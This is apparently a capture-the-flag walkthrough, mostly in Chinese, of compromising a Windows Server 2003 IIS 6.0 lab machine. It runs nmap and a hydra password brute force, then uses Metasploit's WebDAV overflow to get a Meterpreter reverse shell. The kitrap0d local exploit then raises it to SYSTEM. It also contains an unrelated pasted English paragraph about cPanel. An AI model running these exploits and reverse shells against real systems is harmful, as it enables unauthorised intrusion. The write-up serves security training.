uzi@kali ~/D/06_Wordlists> nmap -n --min-rate 2000 -T4 -p- --max-retries 10 -Pn 10.129.104.78 Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-1321:11 CST Nmap scan report for 10.129.104.78 Host is up (0.20s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 104.34 seconds
扫描参数说明：
-n 不进行DNS解析
--min-rate 每秒钟最低的发包次数
-T4 4代表的是激进(aggressive)模式，假定在稳定、可靠的网络中进行扫描
-p- 扫描全端口
这里只识别到一个开放端口。
WEB 80
网站首页是Under Construction，返回包报文头如下：
HTTP/1.1200 OK Content-Length: 1433 Content-Type: text/html Content-Location: http://10.129.104.78/iisstart.htm Last-Modified: Fri, 21 Feb 2003 15:48:30 GMT Accept-Ranges: bytes ETag: "05b3daec0d9c21:300" Server: Microsoft-IIS/6.0 MicrosoftOfficeWebServer: 5.0_Pub X-Powered-By: ASP.NET Date: Thu, 13 Apr 2023 13:15:06 GMT Connection: close
As it turns out these folders are needed for FrontPage and FrontPage Extensions. I CAN simply delete them, but since my web host provides me with cPanel access to the website, I can simply disable the extensions there, and this removes all the junk for me. (I don’t intend to use FrontPage).
<body> <!-- _vti_inf.html version 0.100> <!-- This file contains important information used by the FrontPage client (the FrontPage Explorer and FrontPage Editor) to communicate with the FrontPage server extensions installed on this web server. The values below are automatically set by FrontPage at installation. Normally, you do not need to modify these values, but in case you do, the parameters are as follows: 'FPShtmlScriptUrl', 'FPAuthorScriptUrl', and 'FPAdminScriptUrl' specify the relative urls for the scripts that FrontPage uses for remote authoring. These values should not be changed. 'FPVersion' identifies the version of the FrontPage Server Extensions installed, and should not be changed. --><!-- FrontPage Configuration Information FPVersion="5.0.2.6790" FPShtmlScriptUrl="_vti_bin/shtml.dll/_vti_rpc" FPAuthorScriptUrl="_vti_bin/_vti_aut/author.dll" FPAdminScriptUrl="_vti_bin/_vti_adm/admin.dll" TPScriptUrl="_vti_bin/owssvr.dll" --> <p><!--webbot bot="PurpleText" preview="This page is placed into the root directory of your FrontPage web when FrontPage is installed. It contains information used by the FrontPage client to communicate with the FrontPage server extensions installed on this web server. You should not delete this file." --></p>
hydra -l webmaster -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt "http-get://10.129.55.9/_vti_bin/_vti_adm/fpadmdll.dll?page=pwdmgr.htm&ReturnPage=home:A=NTLM:F=You are not authorized to view this page"
# Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/firewall/blackice_pam_icq 2004-03-18 great No ISS PAM.dll ICQ Parser Buffer Overflow 1 exploit/windows/iis/iis_webdav_scstoragepathfromurl 2017-03-26 manual Yes Microsoft IIS WebDav ScStoragePathFromUrl Overflow
Interact with a module by name or index. For example info 1, use 1or use exploit/windows/iis/iis_webdav_scstoragepathfromurl
msf6 > use 1 [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > show options
Name Current Setting Required Description ---- --------------- -------- ----------- MAXPATHLENGTH 60yes End of physical path brute force MINPATHLENGTH 3yes Start of physical path brute force Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 80yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Path of IIS 6 web application VHOST no HTTP server virtual host
Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.70.128yes The listen address (an interface may be specified) LPORT 4444yes The listen port
Exploit target:
Id Name -- ---- 0 Microsoft Windows Server 2003 R2 SP2 x86
View the full module info with the info, or info -d command.
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set -g lhost tun0 lhost => tun0 msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set -g rhosts 10.129.55.9 rhosts => 10.129.55.9 msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > run
[*] Started reverse TCP handler on 10.10.16.22:4444 [*] Trying path length 3 to 60 ... [*] Exploit completed, but no session was created. msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > run
[*] Started reverse TCP handler on 10.10.16.22:4444 [*] Trying path length 3 to 60 ... [*] Exploit completed, but no session was created. msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > run
[*] Started reverse TCP handler on 10.10.16.22:4444 [*] Trying path length 3 to 60 ... [*] Exploit completed, but no session was created. msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set rhosts 10.129.213.72 rhosts => 10.129.213.72 msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > run
[*] Started reverse TCP handler on 10.10.16.22:4444 [*] Trying path length 3 to 60 ... [*] Sending stage (175686 bytes) to 10.129.213.72 [*] Meterpreter session 1 opened (10.10.16.22:4444 -> 10.129.213.72:1030) at 2023-04-16 14:25:10 +0800
meterpreter > ps
Process List ============
PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4 0 System 272 4 smss.exe 320 272 csrss.exe 344 272 winlogon.exe 392 344 services.exe 404 344 lsass.exe 584 392 svchost.exe 668 392 svchost.exe 732 392 svchost.exe 764 392 svchost.exe 796 392 svchost.exe 988 392 spoolsv.exe 1016 392 msdtc.exe 1096 392 cisvc.exe 1136 392 svchost.exe 1192 392 inetinfo.exe 1228 392 svchost.exe 1340 392 VGAuthService.exe 1400 392 vmtoolsd.exe 1504 392 svchost.exe 1616 392 svchost.exe 1724 392 dllhost.exe 1788 392 dllhost.exe 1956 392 alg.exe 1972 584 wmiprvse.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\wbem\wmiprvse.exe 2116 392 vssvc.exe 2184 1504 w3wp.exe x86 0 NT AUTHORITY\NETWORK SERVICE c:\windows\system32\inetsrv\w3wp.exe 2292 584 davcdata.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\inetsrv\davcdata.exe 2392 2184 rundll32.exe x86 0 C:\WINDOWS\system32\rundll32.exe 2576 584 wmiprvse.exe
meterpreter > migrate 2184 [*] Migrating from 2392 to 2184... [*] Migration completed successfully.
报错是Rex::Post::Meterpreter::RequestError stdapi_sys_config_getsid: Operation failed: Access is denied.
关于迁移操作，官方题解的说明是：
At this point it is a good idea to migrate to a process running under NT AUTHORITY\NETWORK SERVICE. In this case davcdata.exe seemed to be the only stable process available.
We’re working as the process rundll32.exe that it is not owned by network service that is who we are. We should then migrate to a process owned by us.
msf6 exploit(windows/local/ms14_070_tcpip_ioctl) > use exploit/windows/local/ms15_051_client_copy_image [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp msf6 exploit(windows/local/ms15_051_client_copy_image) > run
[*] Started reverse TCP handleron10.10.16.22:4444 [-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_config_getsid: Operation failed: Accessis denied. [*] Exploit completed, but nosession was created. msf6 exploit(windows/local/ms15_051_client_copy_image) > set -g lport 4445 lport => 4445 msf6 exploit(windows/local/ms15_051_client_copy_image) > run
[*] Started reverse TCP handleron10.10.16.22:4445 [-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_config_getsid: Operation failed: Accessis denied. [*] Exploit completed, but nosession was created. msf6 exploit(windows/local/ms15_051_client_copy_image) > set lhost tun0 lhost => tun0 msf6 exploit(windows/local/ms15_051_client_copy_image) > run
[*] Started reverse TCP handleron10.10.16.22:4445 [-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_config_getsid: Operation failed: Accessis denied. [*] Exploit completed, but nosession was created. msf6 exploit(windows/local/ms15_051_client_copy_image) > use exploit/windows/local/ms10_015_kitrap0d [*] Using configured payload windows/meterpreter/reverse_tcp msf6 exploit(windows/local/ms10_015_kitrap0d) > run
[*] Started reverse TCP handleron10.10.16.22:4445 [-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_config_getsid: Operation failed: Accessis denied. [*] Exploit completed, but nosession was created.
提权
使用local_exploit_suggester模块进行搜索。
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 10.129.55.9 - Collecting local exploits for x86/windows... [*] 10.129.55.9 - 181 exploit checks are being tried... [+] 10.129.55.9 - exploit/windows/local/ms10_015_kitrap0d: The service isrunning, but could not be validated. [+] 10.129.55.9 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable. [+] 10.129.55.9 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable. [+] 10.129.55.9 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. [+] 10.129.55.9 - exploit/windows/local/ms16_016_webdav: The service isrunning, but could not be validated. [+] 10.129.55.9 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable. [*] Running check method for exploit 41 / 41 [*] 10.129.55.9 - Valid modules for session 1: ============================
# Name Potentially Vulnerable? Check Result - ---- ----------------------- ------------ 1 exploit/windows/local/ms10_015_kitrap0d Yes The service isrunning, but could not be validated. 2 exploit/windows/local/ms14_058_track_popup_menu Yes The target appears to be vulnerable. 3 exploit/windows/local/ms14_070_tcpip_ioctl Yes The target appears to be vulnerable. 4 exploit/windows/local/ms15_051_client_copy_image Yes The target appears to be vulnerable. 5 exploit/windows/local/ms16_016_webdav Yes The service isrunning, but could not be validated. 6 exploit/windows/local/ppr_flatten_rec Yes The target appears to be vulnerable.
Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST tun0 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Windows 2K SP4 - Windows 7 (x86)
View the full module info with the info, orinfo -d command.
msf6 exploit(windows/local/ms10_015_kitrap0d) > run
[*] Started reverse TCP handler on 10.10.16.22:4444 [*] Reflectively injecting payload and triggering the bug... [*] Launching msiexec to host the DLL... [+] Process 2144 launched. [*] Reflectively injecting the DLL into 2144... [+] Exploit finished, wait for (hopefully privileged) payload execution to complete. [*] Sending stage (175686 bytes) to 10.129.213.72 [*] Meterpreter session 2 opened (10.10.16.22:4444 -> 10.129.213.72:1031) at 2023-04-16 14:33:32 +0800
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
